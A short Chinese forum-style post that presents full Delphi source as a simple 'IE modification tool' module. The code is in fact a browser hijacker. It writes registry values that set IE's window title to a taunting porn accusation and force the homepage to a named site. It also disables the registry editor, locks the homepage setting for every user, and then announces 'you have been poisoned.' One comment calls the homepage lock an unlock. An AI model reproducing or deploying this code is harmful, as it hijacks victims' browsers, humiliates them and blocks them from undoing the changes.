IE修改工具 不神秘--(废话)

其实修改的时候就是修改注册表的几个键值(bullshit)
看看这个delphi得源码，你就会知道怎么写一个windows优化大师中的ie部分的module了（模块出处http://lkpc.126.com ）
unit unit2;

interface

uses
  windows, messages, sysutils, classes, graphics, controls, forms, dialogs,
  stdctrls, buttons,registry;

type
  tform2 = class(tform)
    bitbtn1: tbitbtn;
    memo1: tmemo;
    procedure bitbtn1click(sender: tobject);
  private
    { private declarations }
  public
    { public declarations }
  end;

var
  form2: tform2;

implementation

{$r *.dfm}

procedure tform2.bitbtn1click(sender: tobject);
var
  reg: tregistry;
  s1,s2,s3,s4,s5,s6,reg1,reg2,reg3,reg4,reg5,reg6:string;
begin
  reg := tregistry.create;
  s1:='哈哈！你曾经浏览过色情网站，还不承认？这里就是证据！';
  s2:='http://lkpc.126.com';
  s3:='start page';
  s4:='window title';
  s5:='disableregistrytools';
  s6:='homepage';
  reg1:='\software\microsoft\internet explorer\main';
  reg3:='\software\microsoft\windows\currentversion\policies\system';
  reg4:='\software\policies\microsoft\internet explorer\control panel';
  reg2:='\.default\software\microsoft\internet explorer\main';
  reg5:='\.default\software\microsoft\windows\currentversion\policies\system';
  reg6:='\.default\software\policies\microsoft\internet explorer\control panel';
  try
//修改 hkey_current_user;
   reg.rootkey :=hkey_current_user;
   if reg.openkey(reg1,true) then;
   begin
   reg.writestring(s4,s1);//标题
   reg.writestring(s3,s2);//缺省主页
   end;
   if reg.openkey(reg3, true) then
   reg.writeinteger(s5,1);
   if reg.openkey(reg4,true) then
    reg.writeinteger(s6,1);//解锁主页
//修改hkey_users
   reg.rootkey :=hkey_users;
   if reg.openkey(reg2,true) then;
   begin
   reg.writestring(s4,s1);//标题
   reg.writestring(s3,s2);//缺省主页
   end;
   if reg.openkey(reg5, true) then
    reg.writeinteger(s5,1);
   if reg.openkey(reg6,true) then
    reg.writeinteger(s6,1);
//修改 hkey_local_machine
   reg.rootkey :=hkey_local_machine;
   if reg.openkey(reg1,true) then;
   begin
   reg.writestring(s4,s1);//标题
   reg.writestring(s3,s2);//缺省主页
   end;
   if reg.openkey(reg3, true) then
    reg.writeinteger(s5,1);
   if reg.openkey(reg4,true) then
    reg.writeinteger(s6,1);//解锁主页

     reg.closekey;
     messagedlg('你已经中毒了！关闭所有ie窗口再重新打开！看看有什么症状！', mtinformation, [mbok], 0);
  finally
    reg.free;
    inherited;
 end;
end;

end.